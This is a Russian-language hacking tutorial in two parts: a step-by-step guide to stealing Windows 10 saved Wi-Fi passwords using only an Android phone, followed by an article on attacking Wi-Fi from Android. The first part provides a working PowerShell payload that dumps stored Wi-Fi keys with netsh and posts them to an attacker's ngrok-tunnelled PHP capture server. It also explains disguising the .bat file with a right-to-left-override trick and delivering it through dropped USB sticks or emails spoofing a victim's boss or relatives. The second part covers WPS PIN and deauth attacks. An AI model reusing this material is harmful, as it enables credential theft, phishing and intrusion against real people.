Как получить пароли WPA2 при помощи лишь одного устройства на базе Android
Автор: tokyoneon Взломать Wi-Fi роутер намного проще, чем вы думаете, даже при помощи телефона на базе Android без прав суперпользователя. Метод, описываемый в этой статье, не требует брутфорса, ОС Windows для конвертации PowerShell-скриптов в исполняемые EXE-файлы, надежного VPS для перехвата взломанных паролей или Metasploit для разного рода трюков, используемых после эксплуатации уязвимости. Суть метода Мы будем использовать бесплатное приложение UserLAnd, позволяющее установить Kali или Debian в ОС Android без необходимости рутинга (получения прав суперпользователя). Однако утилиты, наиболее часто используемые для взлома Wi-Fi (например, Aircrack-ng), не будут работать с UserLAnd. Для запуска Aircrack-ng нужно переключить беспроводной Android-интерфейс в режим мониторинга, что требует права суперпользователя, но чего нет в UserLAnd. Даже если бы можно было сконфигурировать перехват рукопожатия, использующего шифрование WPA2, брутфорс пароля на Android-устройстве занял бы слишком много времени из-за недостаточной производительности процессора. Однако есть и другие способы скомпрометировать Wi-Fi пароль. Метод, описываемый в этой статье, требует небольшого анализа и социальной инженерии. Дистрибутив Kali, установленный через приложение UserLAnd, используется для создания полезной нагрузки на базе PowerShell с целью копирования сохраненных Wi-Fi пароли из системы с Windows 10. Расширение файла с полезной нагрузкой будет замаскировано при помощи Unicode для сокрытия истинного типа файла. Для перехвата Wi-Fi паролей, отсылаемых с целевого компьютера, в Kali (на Android) создается локальный PHP-сервер. Обход переадресации портов и фаерволов осуществляется при помощи сервиса Ngrok, позволяющего сделать локальный PHP-сервер доступным через интернет. На этот сервер целевая система будет отправлять пароли для Wi-Fi. Описанного выше более чем достаточно, но самое сложное – заставить жертву кликнуть на вредоносную полезную нагрузку. Подробнее эту тему рассмотрим позже. Приступаем к работе с UserLAnd Прежде, чем продолжить, желательно ознакомиться с руководством о том, как превратить Android-телефон в устройство, пригодное для хакинга, без прав суперпользователя. В той заметке даются основы UserLAnd и упоминаются другие аспекты, необходимые для успешной реализации метода, описываемого в этой статье. Нужно установить и настроить UserLAnd, создать новую файловую систему и подключиться к ОС через SSH при помощи ConnectBot (или JuiceSSH или встроенного SSH-клиента). Шаг 1. Установка программного обеспечения Необходимо выполнить обновление системы и установить основные программы, как указано в упомянутом мной руководстве, посвященном UserLAnd. Затем можно приступать к установке специфических инструментов, которые понадобятся для реализации нашего метода, а конкретно — Unzip и PHP. Для установки Unzip используйте команду sudo apt-get install unzip.
apt-get install unzip
Reading package lists. Done
Building dependency tree
Reading state information. Done
Suggested packages:
The following NEW packages will be installed:
unzip
0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
Need to get 156 kB of archives.
After this operation, 518 kB of additional disk space will be used.
Get:1 http://kali.download/kali kali-rolling/main arm64 unzip arm64 6.0-21 [156 kB]
Fetched 156 kB in 6s (24.5 kB/s)
debconf: delaying package configuration, since apt-utils is not installed
E: Setting in Start via TCSAFLUSH for stdin failed! - tcsetattr (13: Permission denied)
Selecting previously unselected package unzip.
(Reading database . 13159 files and directories currently installed.)
Preparing to unpack . /unzip_6.0-21_arm64.deb .
Unpacking unzip (6.0-21) .
Setting up unzip (6.0-21) .
Затем введите команду apt-mark hold apache*, чтобы отказаться от некоторых пакетов, связанных с веб-сервером Apache, которые автоматически загружаются во время установки PHP. В этом случае мы не будем засорять систему бесполезными бинарными файлами и службами и, таким образом, немного ускорим установку.
apt-mark hold apache*
apache2 set on hold.
apache-users set on hold.
apache2-bin set on hold.
apache2-data set on hold.
apache2-utils set on hold.
apache2-doc set on hold.
apache2-suexec-pristine set on hold.
apache2-suexec-custom set on hold.
apache2-dbg set on hold.
apache2-dev set on hold.
apache2-ssl-dev set on hold.
apachedex set on hold.
apacheds set on hold.
apachetop
set
on
hold.
После того как мы отказались от ненужных пакетов, переходим к установке PHP и вводим команду apt—get install php.
apt-get install php
Reading package lists. Done
Building dependency tree
Reading state information. Done
The following additional packages will be installed:
bzip2 file libapparmor1 libargon2-1 libicu63 libmagic-mgc libmagic1 libsodium23 libxml2 mime-support php-common php7.3 php7.3-cli php7.3-common php7.3-fpm php7.3-json
php7.3-opcache php7.3-readline psmisc xz-utils
Suggested packages:
bzip2-doc php-pear
The following NEW packages will be installed:
bzip2 file libapparmor1 libargon2-1 libicu63 libmagic-mgc libmagic1 libsodium23 libxml2 mime-support php php-common php7.3 php7.3-cli php7.3-common php7.3-fpm php7.3-json
php7.3-opcache php7.3-readline psmisc xz-utils
0 upgraded, 21 newly installed, 0 to remove and 0 not upgraded.
Need to get 13.6 MB of archives.
After this operation, 58.7 MB of additional disk space will be used.
Do you want to continue? [
Y/
n]
В конце необходимо перезагрузить Android-устройство. В этом случае мы уже точно будем знать, что все пакеты и обновления для ядра будут работать в системе с Kali, установленной через UserLAnd. Шаг 2. Настройка PHP-сервера После перезагрузки устройства запустите приложение UserLAnd и подключитесь к системе с Kali через SSH. Теперь нам понадобится приложение Screen, позволяющее управлять несколькими терминальными сессиями внутри одной консоли. В нашем случае речь идет об одном и том же Android-устройстве. Приложение Screen умеет «отсоединять» или закрывать окно терминала без потери информации, с которой вы работали во время сессии. Для запуска приложения введите следующую команду screen.
screen
Затем открываем шелл с правами суперпользователя при помощи команды su.
Создаем директорию с именем «phpServer/» при помощи команды mkdir.
mkdir
phpServer/
Переходим в созданную директорию, используя команду cd:
cd
phpServer/
Создаем файл «index.php» в редакторе nano.
nano
index.
php
Вставляем в созданный файл следующий PHP-скрипт, сохраняем и выходим из nano. Нажмите Ctrl-x и Enter.
PHP Server
It works!
$file = date(
"dHism") .
".credz";
file_put_contents(
$file,
file_get_contents(
"php://input"));
Этот PHP-скрипт позволяет перехватывать данные и не требует модификации. Когда целевая система на базе Windows 10 отсылает учетные записи для Wi-Fi, этот PHP-сервер сохранит пароли в файле, где в имени будет указана дата, а в качестве расширения – «.credz». Запускаем PHP-сервер при помощи команды php —S 0.0.0.0:80. Ключ –S отвечает за запуск веб-сервера, встроенного в PHP, а 0.0.0.0 делает доступным сервер на каждом интерфейсе. Номер порта, на котором висит сервер – 80. Этот порт используется по умолчанию всеми веб-серверами и браузерами.
php -S 0.0.0.0:80
PHP 7.3.0-2 Development Server started
Listening on http://0.0.0.0:80
Document root is /home/user/phpServer
Press Ctrl-C to quit.
Для выхода (или отсоединения) сессии, запущенной в приложении Screen без остановки PHP-сервера, нажмите Ctrl—a, а затем d. Шаг 3. Проверка работоспособности PHP-сервера Есть два способа проверить, что PHP-сервер продолжает работать в фоновом режиме. Например, можно использовать curl для отправки на сервер некоторых данных, эмулирующих Wi-Fi пароль.
curl --data "password: qwerty12345" http://127.0.0.1:80
Затем при помощи команды ls посмотрите, какие файлы появились в директории phpServer/.
ls -l phpServer/
-rw-r--r--. 1 root root 217 Jan 9 00:10 index.php
-rw-r--r--. 1 root root 0 Jan 9 00:15 0900151501.credz
Смотрим содержимое файлов с расширением .credz при помощи команды cat.
cat
phpServer/*.
credz
password:
qwerty12345
Второй способ проверки работоспособности сервера – команда netstat и браузера на Android-устройстве.
netstat -
luptn |
grep -
i
php
tcp 0 0 0.0.0.0:2080 0.0.0.0:*
LISTEN 14128/
php
Обратите внимание, что PHP висит на 2080, а не на 80 порту, как было указано в одной из предыдущих команд. По каким-то причинами при открытии портов в операционных системах, работающих через приложение UserLAnd, в начале добавляется 20. Причины подобного явления до конца не ясны, но для нас сей факт не очень заботит, поскольку сервер Ngrok будет работать нормально. Открываем браузер в Android и после ввода в адреса 127.0.0.1:2080 должно появиться сообщение «It works!». Рисунок 1: Сообщение, свидетельствующее о работоспособности PHP-сервера Если после запуска netstat никаких выходных данных не появилось, скорее всего, PHP-сервер был запущен некорректно или сессия отсоединилась. Возвратитесь к шагу 3 и попробуйте еще раз. Шаг 5. Создание учетной записи в Ngrok Ngrok – очень удобный сервис для веб-разработчиков, желающих продемонстрировать свой сайт и протестировать приложения без необходимости заморачиваться с фаерволами или администрированием. Ngrok позволяет сгенерировать доменное имя, связанное с внутренним сервером. Таким образом, разработчики могут быстро протестировать веб-сайты, сделав сервер доступным публично через интернет на некоторое время. Однако у Ngrok есть один серьезный недостаток. У бесплатных учетных записей есть ограничения, которые могут помешать реализации описываемого метода. После запуска сервера Ngrok генерируется случайный URL, а в бесплатных аккаунтах нет возможности повторного использования или настройки URL’ов. Нужно помнить, что сгенерированный URL должен быть прописан в полезной нагрузке, и, если сервер Ngrok остановится, повторно использовать созданный URL не получится. Как только URL сгенерирован и прописан в полезной нагрузке, сервер Ngrok не должен быть остановлен ни при каких обстоятельствах. Иначе пароли будут присылаться на несуществующий URL, который нельзя использовать снова. В общем, не останавливайте сервер Ngrok до тех пор, пока все пароли не будут собраны. Вначале зайдите на страницу регистрации и создайте учетную запись. Вам будет выдан аутентификационный токен (authtoken), который понадобится нам далее.
Рисунок 2: Регистрация в сервисе Ngrok и получение аутентификационного токена Шаг 5. Загрузка и установка Ngrok Подключаемся к системе Kali через SSH и создаем новую сессию в приложении Screen.
screen
Инициируем шелл с правами суперпользователя.
Затем при помощи wget загружаем архив с Ngrok. Последнюю версию можно посмотреть на странице загрузки (на момент написания статьи последняя версия — 2.2.8).
wget 'https://bin.equinox.io/a/nmkK3DkqZEB/ngrok-2.2.8-linux-arm64.zip'
--2019-01-06 04:39:30-- https://bin.equinox.io/a/nmkK3DkqZEB/ngrok-2.2.8-linux-arm64.zip
Resolving bin.equinox.io (bin.equinox.io). 34.226.180.131
Connecting to bin.equinox.io (bin.equinox.io)|34.226.180.131|:443. connected.
HTTP request sent, awaiting response. 200 OK
Length: 5063444 (4.8M) [application/octet-stream]
Saving to: 'ngrok-2.2.8-linux-arm64.zip'
ngrok-2.2.8-linux-arm64.zip 100%[==============>] 4.83M 293KB/s in 16s
2019-01-06 04:39:52 (306 KB/s) - 'ngrok-2.2.8-linux-arm64.zip' saved [5063444/5063444]
Далее распаковываем архив.
unzip ngrok-2.2.8-linux-arm64.zip
Archive: ngrok-2.2.8-linux-arm64.zip
inflating: ngrok
Ищем бинарный файл ngrok.
ls -
l
total 20328
-rwxr-xr-x. 1 root root 15747855 Jul 15 2017 ngrok
-rw-r--r--. 1 root root 5063444 Jan 6 04:39 ngrok-2.2.8-linux-arm64.zip
Во время настройки Ngrok указываем выданный ранее аутентификационный токен, что позволит получить доступ ко всем функциям и связать локальный PHP-сервер с учетной записью. Выполняем команду ngrok с аргументом authtoken.
./ngrok authtoken YourNgrokAuthTokenHere
Authtoken saved to configuration file: /root/.ngrok2/ngrok.yml
Подробнее о доступных аргументах и о том, как работает Ngrok написано в официальной документации. Шаг 6. Запуск туннеля Запускаем команду ngrok, чтобы PHP-сервер стал публично доступным.
./
ngrok
http 80
Здесь я столкнулся с раздражающей ошибкой, приводящей к сбою в Ngrok и пустому экрану в Android. До конца не понятно, где находится проблема: в бинарном файле Ngrok, в приложении Screen / ConnectBot / UserLAnd или где-то еще. Если вы используете встроенный SSH-клиент или JuiceSSH вместо ConnectBot, и ошибка не возникает, значит, проблема связана с SSH. Если экран замирает во время запуска вышеуказанной команды, нажмите Ctrl—c для отмены, а затем Ctrl—d для завершения сессии в приложении Screen. Далее нужно повторно создать сессию, открыть шелл с правами суперпользователя и запустить команду, указанную ранее. Пробуйте до тех пор, пока все не заработает. Если вы знаете причины замирания или методом решения этой проблемы, поделитесь своими знаниями в комментариях. После успешного запуска Ngrok обратите внимание на поле «Forwarding». URL, указанный в этом поле, нужно добавить в полезную нагрузку. Затем отсоедините сессию в Screen без остановки сервера Ngrok, нажав Ctrl—a, а затем d.
Session Status online
Account XXXXX XXXXXXXX (Plain: Free)
Version 2.2.8
Web Interface United States (us)
Forwarding http://XXXXXX.ngrok.io -> localhost:80
Forwarding https://XXXXXX.ngrok.io -> localhost:80
Connections ttl opn rt1 rt5 p50 p90
0 0 0.00 0.00 0.00 0.00
Шаг 7. Проверка работоспособности туннеля После отсоединения от сессии нужно проверить работоспособность Ngrok и PHP посредством отсылки данных при помощи curl. Не забудьте заменить слово «SUBDOMAIN» на адрес, указанный в поле «Forwarding».
curl --data "ngrok is working!" 'http://SUBDOMAIN.ngrok.io'
PHP Server
It works!
В случае успешной отправки данных Curl должен вернуть несколько HTML-строк. Используя команду cat, смотрим содержимое созданного файла с расширением .credz.
cat phpServer/*.credz
ngrok is working!
Шаг 8. Создание полезной нагрузки на PowerShell После выполнения предыдущих шагов у нас появился локальный PHP‑сервер, запущенный в фоновом режиме, для перехвата паролей, отправляемых из целевой системы. Кроме того, у нас есть подключение к сервису Ngrok, чтобы PHP‑сервер был доступен из интернета, и не было необходимости раскрывать IP-адрес нашего Android-устройства. Теперь для целевой системы нам нужно создать полезную нагрузку на PowerShell, выглядящую примерно так:
Add-Type -AssemblyName System.Web;
$ngrokServer = "http://SUBDOMAIN.ngrok.io/index.php";
foreach ($path in [System.IO.Directory]::EnumerateFiles("C:\ProgramData\Microsoft\Wlansvc\Profiles","*.xml","AllDirectories"))$oXml = New-Object System.XML.XMLDocument;$oXml.Load($path);$ssid = $oXml.WLANProfile.SSIDConfig.SSID.Name;$netinfo = netsh.exe wlan show profiles name="$ssid" key=clear;$pass = (($netinfo | Select-String -Pattern "Key Content") -split ":")[1].Trim();$sendData += "SSID: " + ($ssid) + "`n" + "PASSWORD: " + ($pass) + "`n`n";> catch <>Invoke-WebRequest -Uri $ngrokServer -Method 'POST' -Body $sendData;Скрипт, показанный выше, в цикле проходит по всем сетевым именам (SSID), находящимся на компьютере (найденным в XML-файлах в папке «C:\ProgramData\Microsoft\Wlansvc\Profiles\»), запускает команду netsh для каждого SSID и вытаскивает пароли для Wi-Fi в чистом виде из поля «Key Content». Затем результаты работы команды netsh парсятся, обнаруженные SSID’ы и пароли соединяются в переменной "$sendData" и отправляются на сервер Ngrok. Рассмотрим на примере, как работает netsh. Если у вас Windows 10 в терминале введите команду ниже для просмотра паролей:
netsh wlan show profiles name="SSID HERE" key=clear
После запуска команды netsh выдаст информацию, касающуюся Wi-Fi сети, которая в основном является бесполезной. Прокручиваем ниже до строки «Key Content», где указан пароль в открытом виде. Рисунок 3: Пример работы команды netsh Ниже показана та же самая полезная нагрузка в однострочном формате:
powershell -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Web; $ngrokServer = \"http://SUBDOMAIN.ngrok.io/index.php\"; foreach ($path in [System.IO.Directory]::EnumerateFiles(\"C:\ProgramData\Microsoft\Wlansvc\Profiles\",\"*.xml\",\"AllDirectories\")) Content\") -split \":\")[1].Trim(); $sendData += \"SSID: \" + ($ssid) + \"`n\" + \"PASSWORD: \" + ($pass) + \"`n`n\"; > catch <>>; Invoke-WebRequest -Uri $ngrokServer -Method \"POST\" -Body $sendData;"Сохраняем полезную нагрузку в этом формате в директории /sdcard/Download/ в файле с расширением .bat. Из этой папки файл будет доступен в операционной системе Android для последующих манипуляций.
nano /
sdcard/
Download/
payload.
bat
Перед сохранением файла не забудьте заменить «SUBDOMAIN» на содержимое поля Forwarding. В моем случае URL с префиксом https не работал в связке с PHP-сервером, висящем на порту 80. Используйте URL с префиксом http. Шаг 9. Маскировка расширения BAT Подделка расширения файла детально рассмотрена в статье «Hack WPA2 Wi-Fi Passwords Using USB Dead Drops». Я использую имя «payloadfdp.bat» для лучшего понимания сути. Однако в боевых условиях имя файла должно выглядеть более реалистично, например, «passwordtxt.bat» или «secretfdp.bat». Когда дело доходит до социальной инженерии, нужно быть креативным. В браузере в ОС Anroid откройте таблицу Unicode и скопируйте управляющий символ «Right-to-Left Override» (RLO).
Рисунок 4: Копирование управляющего символа Затем в Android откройте приложение Download и переименуйте файл payload.bat, вставив скопированный ранее управляющий символ для изменения порядка отображения символов в имени.
![]()
Рисунок 5: Переименования имени файла с полезной нагрузкой Не забывайте, что на самом деле символы будут только отображаться в обратном порядке. Windows 10 будет распознавать файл с расширением .bat и запускать полезную нагрузку. Шаг 10. Доставка полезной нагрузки в целевую систему После того как все подготовлено, можно приступить к передаче полезной нагрузки в целевую систему. Ниже рассмотрено два метода, но список далеко не полный. Чем больше известно про жертву, тем более разнообразные тактики могут применяться. Вариант 1. Через оставленную USB флешку Этот метод надежный, но может оказаться для вас неподходящим. Для подключения флешки к Android-устройству понадобится OTG-адаптер. Затем полезная нагрузка копируется на носитель, который затем помещается в общественном месте. Вместо OTG-адаптера можно использовать специальные флешки с разъемами USB-C и USB 3.1, имеющие разъемы для подключения и к компьютеру и к Android-устройству. Если у вас старое устройство, можно воспользоваться флешкой с разъемами Micro-USB и USB 3.0. С другой стороны, если у вас нет OTG-адаптера и/или вы не готовы расстаться с флешкой, этот метод вам не подойдет. Конечно, если у вас есть свободные денежные средства, то вы можете приобрести устройства, упомянутые выше. Более подробно этот способ описан в статье «Hack WPA2 Wi-Fi Passwords Using USB Dead Drops» особенно касаемо аспектов социальной инженерии. Вариант 2. Прикрепление к электронному письму При реализации этого сценария может понадобится подделка электронного адреса. Если о жертве известна какая-либо информация, можно создать новый аккаунт в Gmail, используя имя и фотографию друзей, родственников и коллег по работе. Затем можно отправить письмо от имени начальника или родственника с просьбой открыть прикрепленный PDF, представляющий собой созданную ранее полезную нагрузку (см. шаг 7). При отправке полезной нагрузки в виде .bat файла нужно вначале выполнить упаковку в zip-архив. Иначе в браузере имя файла с управляющим символом будет выглядеть некрасиво, что может вызвать подозрения.
Рисунок 6: Имя .bat файла с управляющим символом Для упаковки файла с Unicode-символом откройте приложение Download, выберите payload.bat и нажмите на кнопку «Compress». По умолчанию в имени архива также будет указан управляющий символ (RLO), что нас не устраивает. Найдите самый последний созданный файл с расширением .pdf. Обратите внимание на строку «piz» в имени (zip в обратном порядке), которая появилась из-за управляющего символа. Поменяйте имя файла на «compressed.zip».
![]()
Рисунок 7: Переименование созданного архива После распаковки архива появится полезная нагрузка payload.bat с управляющим символом (RLO) и поддельным расширением. Рисунок 8: Распаковка архива Шаг 11. Доступ к перехваченным учетным записям Когда жертва кликнет на полезную нагрузку, Windows 10 отошлет все сохраненные пароли на сервер Ngrok, который в свою очередь перенаправит данные на локальный PHP-сервер вашего устройства. Все пароли будут храниться в файле (или файлах) с расширением .credz в директории phpServer/.
cat ~/phpServer/*.credz
SSID: NETGEAR77
PASSWORD: smoothebreeze161
SSID: DeathStar
PASSWORD: UseTheForceDude!
SSID: Get your own wifi
PASSWORD: 6(CHo-48Qm6%ae2-7.V4
Шаг 12. Повышение эффективности атаки Есть множество способов улучшить эффективность подобных удаленных атак. Ниже рассмотрено несколько аспектов, влияющих на успешность реализации. Всплывающее окно Когда жертва кликнет на .bat файл, появится всплывающее окно терминала, которое нельзя скрыть в случае использования .bat файла. Это окно будет оставаться на экране в течение нескольких секунд в зависимости от количества паролей, сохраненных на компьютере. Чем больше паролей, тем дольше будет висеть окно. Сей факт – явный признак, что мы имеем дело с вредоносным файлом. С другой стороны, как только .bat файл выполнится, у жертвы будет мало времени, чтобы остановить процесс, пока все пароли не будут отосланы на ваш сервер. Если скрытность не является жизненно необходимой, полезная нагрузка отработает так, как нужно. Недостаточная обфускация Полезная нагрузка отправляется в открытом виде. Для сокрытия кода не используется ни кодирование base64, ни шифрование. Даже не очень технически подкованный пользователь сможет догадаться, что означает URL к серверу Ngrok, команда «Invoke-WebRequest» и строка «PASSWORD». Поскольку сразу же возникнет подозрение о странности происходящего, подобные атаки очень быстро обнаруживаются. Иконка полезной нагрузки У файлов с расширением .bat, используемых в качестве средства доставки полезной нагрузки, есть свои достоинства и недостатки. С одной стороны, легко выполнить скрипты, написанные на PowerShell, и обойти антивирус, однако в отличие от EXE- и SCR-файлов, у файлов с расширением .bat нельзя поменять иконку. Соответственно, файл не будет полностью выглядеть как текстовый или pdf, что опять же будет наводить на подозрения и может привести к удалению файла до запуска. Слабая социальная инженерия Используемая полезная нагрузка очень проста. Мы перебираем сохраненные пароли для Wi-Fi, отправляем на сервер и ничего более не делаем. В боевых условиях должен быть код для открытия текстового или pdf файла, чтобы еще лучше убедить жертву в достоверности происходящего. Соответственно, нужно продумать более изощренную социальную инженерию для предотвращения быстрого раскрытия наших вредоносных замыслов во время выполнения полезной нагрузки в целевой системе. Заключение Описанный метод далеко не идеален. Следует проделать дополнительную работу для маскировки полезной нагрузки под обычный файл. Также следует продумать методы доставки на основе предварительной информации, собранной о жертве. С другой стороны, описанный метод демонстрирует, насколько просто можно скомпрометировать систему Windows 10 и получить нужную информацию. Все упомянутые приложения и реализованные шаги выполнялись исключительно на одном телефоне на базе Android с установленным линуксовым дистрибутивом. Помимо телефона использовались два веб-сервера и полезная нагрузка, написанная на PowerShell. Другие мои проекты доступны на GitHub. По любым вопросам можете связаться со мной через Твиттер @tokyoneon_.
Взлом WiFi на Андроид и как от этого защититься
Практика показывает, что большинство взломов совершается самыми примитивными методами. Автор лишь рассуждает о технических возможностях взлома и не призывает вас так действовать. Есть только один способ научиться эффективно отражать сетевые атаки — это знать как их выполняют другие и ставить себя на место атакующего. Иначе любой аудит превращается в фиктивную проверку на соответствие стандартам.
Данный материал носит информационный характер. Он адресован специалистам по информационной безопасности и тем, кто собирается ими стать.
Взлом WiFi на Андроид
В сегодняшней статье мы поговорим о взломе WiFi. выполним подготовку и разберем простые атаки с использование Андроид устройств, а в следующей перейдем к более серьезным инструментам.
Что нужно для взлома Wi-Fi с мобильного телефона
Все, что потребуется для быстрого старта, — минимально подготовленный смартфон или планшет с ОС Android. Если не стоит задача взломать определенную и хорошо защищенную сеть, а хочется просто подключиться к закрытому вайфаю поблизости, этого будет достаточно.
Первичную разведку эфира можно проводить на устройствах с Android 2.3–4.4, а начиная с Android 5.0 появилась возможность выполнять простейшие WPS PIN атаки даже без рута. Просто ставишь пару приложений и нажимаешь кнопку «сделать как надо». Но самое интересное, как всегда, кроется в деталях.
Устройства для взлома Wi-Fi с мобильного
Если вкратце, то вам понадобится дистрибутив NetHunter, один из совместимых телефонов с поддерживаемой прошивкой и, конечно, внешний USB-адаптер, подключаемый через кабель OTG.
В качестве донгла можете взять уже упомянутый в статье «Адаптеры для вардрайвинга» TP-Link WN722N — из всех популярных только у него энергопотребление достаточно низкое, чтобы можно было подключать даже к маломощным устройствам. Более дорогие и навороченные «Альфы» тоже вполне реально приспособить к телефону, но не все и не к любому.
Мощная «карточка» может не заработать или начать подчистую высасывать аккумулятор телефона. В результате народ уже стал изобретать схемы с внешними батарейками и даже солнечными зарядками.
Пригоден ли для вардрайвинга чип ESP8266
С модой на IoT распространение получил крохотный беспроводной контроллер ESP8266, а хакеров стала преследовать мысль прорубить на нем мониторинговый режим. И в итоге этого удалось добиться! Но к сожалению, полноценный мониторинг и инъекция пакетов на этом чипе невозможны в силу хардварных ограничений на размер буфера в 128 байт.
Такого буфера, конечно же, не хватит на полноценную ловлю хендшейков. Однако его вполне достаточно для отправки deauth-фреймов. Коллекцию разного рода проектов для ESP8266 (в том числе и для deauth) я собрал на своем GitHub. Также хочу обратить твое внимание на проект по Wi-Fi-позиционированию на основе ESP8266.
Какие еще микроконтроллеры можно использовать
Режим монитора доступен на Ti CC3200 в рамках их фирменной технологии RFSniffer. Надо сказать, что возможность мониторинга на чипах серии Chipcon фирмы Texas Instruments уже привела к появлению таких продуктов, как Yardstick/RFCat и Ubertooth. Они предназначены для хакинга ISM и Bluetooth соответственно.
Насколько реально на практике использовать Ti CC3200?
Задавшись этим вопросом, я купил девбоард, но руки до него пока не дошли. Возможно, когда это случится, у меня появится тема для интересной статьи!
Взлом WiFi на Андроид: Подготовка
Существует множество типовых атак на точки доступа Wi-Fi и специфических эксплоитов для определенных моделей с конкретными версиями прошивок. К типовым относятся методы подбора WPS PIN, вычисление ключей WEP и WPA2 по анализу перехваченных пакетов, а также принудительное переключение AP на более слабый алгоритм шифрования (WEP вместо WPA).
Особняком стоят методы социального инжиниринга: создание поддельных AP (идентичных атакуемой) для получения пароля от настоящей или же для проведения различных MitM-атак, а также деавторизация/глушение беспроводных клиентов и DoS как самостоятельные цели.
Самый универсальный способ атаки на точку доступа — вычисление ее ключа WPA2 по отдельным сообщениям (M1-M4) из перехваченных хендшейков. Он срабатывает практически всегда, но требует больших затрат (особенно времени). Перехват «рукопожатий» всегда выполняется в режиме мониторинга, который поддерживает далеко не каждый Wi-Fi-чип и драйвер. Для ускорения сбора хендшейков потребуется функция инжекта пакетов, которая деавторизует подключенных к AP клиентов и заставляет их чаще отправлять «рукопожатия». Она и вовсе встречается у единичных Wi-Fi-модулей.
За редким исключением предустановленные в смартфон драйверы не позволяют даже запускать режим мониторинга, да и альтернативные драйверы для встроенных чипов есть не всегда. Поэтому для взлома чаще используют внешние USB Wi-Fi адаптеры с hacker friendly чипами (преимущественно от Atheros и Ralink). Подробнее смотри в статье «Выбираем бюджетный адаптер для взлома Wi-Fi».
Однако есть и обходной путь, не требующий покупки оборудования или мучений с драйверами. У многих точек доступа с надежной защитой (вроде WPA2 PSK CCMP) порой оказывается разрешен WPS — дополнительный вариант авторизации по пин-коду. Этот пин часто остается дефолтным и легко вычисляеться.
Теоретически у восьмизначного WPS-пина всего 100 миллионов комбинаций, из которых уникальны только 10 миллионов, так как последняя цифра — контрольная и зависит от других семи. На практике же достаточно перебрать только 11 тысяч вариантов из-за уязвимостей самого алгоритма (концептуально подобных найденным в LM-хеше, подробнее здесь).
Брутфорс 11 тысяч PIN-кодов при хорошем уровне сигнала займет примерно полдня, поскольку на проверку одного пина тратится от двух до десяти секунд. Поэтому на практике используются только самые быстрые атаки на WPS — по дефолтным значениям пинов и по их сниженной энтропии (pixie dust). Для противодействия брутфорсу пин-кодов и подключению к фейковой точке доступа между AP и клиентскими устройствами предусмотрен обмен хешами. По задумке они должны вычисляться на основе WPS PIN и двух случайных чисел. На практике многие роутеры либо генерируют предсказуемые числа, либо вовсе оставляют их нулевыми. Энтропия резко снижается, а механизм, задуманный для усиления защиты, из-за некорректной реализации лишь ослабляет её. Также некоторые производители задают WPS-пин как производное от других известных значений (в частности, MAC-адреса). Такие точки доступа вскрываются практически мгновенно.
Актуальность WPS-атак состоит еще и в том, что в некоторых точках доступа функция Wi-Fi Protected Setup включена по умолчанию и не отключается штатными средствами. Из-за кривой прошивки девайса в его меню настроек либо нет соответствующего пункта, либо положение переключателя Enable/Disable в нем не играет роли. Видимо, это одна из причин того, почему в любом городе среди множества «защищенных» беспроводных сетей до сих пор хватает легких целей.
Взлом WiFi на Android: Разведка
Весь процесс вардрайвинга можно разделить на два этапа: сбор информации о точках доступа и непосредственно их взлом. Существует множество способов просканировать беспроводные сети со смартфона, но по информативности они сильно отличаются. Одни программы показывают просто SSID и уровень сигнала подобно системному приложению, а другие отображают все параметры найденных AP. В частности, указывают тип защиты и позволяют фильтровать список по разным критериям.
Среди таких приложений я бы рекомендовал использовать WiFinspect. Он написан под руководством доктора Тома Клосиа (Tom Clothia) из Бирмингемского университета в 2012 году. Текущая версия 1.2 позволяет выполнять аудит согласно стандарту безопасности данных PCI DSS 2. С ней ты получишь исчерпывающую информацию о режимах работы найденных точек доступа Wi-Fi, сможешь сразу же выполнить их простейший пентест по дефолтным паролям и многое узнать о подключенных устройствах. Приложение бесплатное и не содержит рекламы, однако для большинства его функций потребуется root.
Аудит в WiFinspect
Дополняет WiFinspect другое популярное приложение — Wifi Analyzer. Оно умеет сканировать диапазоны 2,4 и 5 ГГц и работает без прав суперпользователя. Wifi Analyzer отображает кучу данных, включая номер канала выбранной AP, ее MAC-адрес, производителя (вычисляется по MAC), и так же детально расписывает типы шифрования. Для этого достаточно отметить в настройках «Показывать полный уровень безопасности». Минус у программы один — навязчивая реклама во всех окнах Wifi Analyzer. Ее можно убрать при помощи AdAway (но тогда все равно понадобится root) или купив платную версию.
Wifi Analyzer показывает AP и их параметры
Оба приложения отлично дополняют друг друга, работая практически на любом девайсе с Android 2.3 и новее. Они удобны для разведки эфира и предварительного выбора целей. Все найденные AP можно отсортировать по уровню сигнала и степени защиты. Так сразу определяются наиболее доступные AP.
В Google Play есть и опенсорсный WiFiAnalyzer. Он бесплатный, без рекламы, умеет фильтровать AP по типу защиты и даже пытается вычислить расстояние до них в метрах (как если бы они все вещали прямой наводкой). Однако в нем нет режима «охоты на лис» — непрерывного измерения уровня сигнала выбранной точки доступа. В остальном программа идентична.
Интересно, что некоторые владельцы просто скрывают SSID своей беспроводной сети, не утруждая себя настройкой авторизации. Другие настраивают строгую авторизацию в диапазоне 2,4 ГГц, но напрочь забывают о параллельно работающем 5 ГГц. Среди двухдиапазонных точек доступа встречаются и такие «полузакрытые».
Взлом WiFi на Андроид: Подводные камни
Успешность разведки зависит от установленного в смартфоне модуля беспроводной связи. Он может иметь как аппаратные, так и программные ограничения. Аппаратные касаются чувствительности приемника и поддержки им различных стандартов из набора IEEE 802.11. Далеко не во всех смартфонах есть двухдиапазонный Wi-Fi. Программные же часто зависят от используемого драйвера и установленного региона.
Про драйверы поговорим в следующей части, а пока обрати внимание на один не самый очевидный момент: в разных регионах земного шара выделены свои диапазоны частот в рамках единого стандарта. Например, для 802.11b/g/n это 2412–2484 МГц или 14 частотных каналов с шагом базовой частоты 5 МГц. Однако в России 14-й канал использовать запрещено, а 12-й и 13-й — не рекомендуется из-за того, что при ширине канала в 20–40 МГц слишком велик риск возникновения помех на запрещенной частоте. Сходная ситуация сложилась на Украине и в других странах бывшего СССР. Поэтому практически все оборудование с поддержкой Wi-Fi, предназначенное для региона СНГ, де-факто работает только на каналах 1–11 или даже 1–10.
Этим осторожно (и не всегда законно) пользуются продвинутые технари в своих интересах. К примеру, одна фирма подключает на каналах 12–13 беспроводное оборудование для видеонаблюдения, чтобы минимизировать помехи от соседних AP. Вардрайверы же просто меняют региональные настройки и получают доступ к «закрытым» каналам. Подсказка: в Японии пока разрешены все 14.
